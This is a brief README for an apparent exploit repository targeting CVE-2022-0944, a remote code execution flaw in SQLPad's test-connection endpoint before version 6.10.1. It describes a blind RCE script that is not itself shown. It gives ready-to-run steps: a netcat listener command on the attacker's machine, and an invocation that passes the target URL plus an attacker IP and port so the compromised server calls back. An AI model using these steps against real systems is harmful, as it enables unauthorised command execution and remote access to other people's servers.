This repository contains an exploit script for CVE-2022-0944 in SQLPad, a vulnerability that allows for Remote Code Execution (RCE) via the /api/test-connection
endpoint.
The provided script (exploit.py
) demonstrates how to exploit the RCE vulnerability in SQLPad. The script sends a payload to the vulnerable endpoint, executing a command on the target server.
- Blind RCE: Executes commands on the target server without receiving direct responses.
- Netcat Listener: Requires a netcat listener setup on the attacker's machine to receive outputs.
- Python 3.x
requests
library (can be installed viapip
)
- Setup a Netcat Listener
nc -lvnp 4444
Run the Exploit
python exploit.py <sqlpad_url> <attacker_ip> <attacker_port>
- Up to (excluding) 6.10.1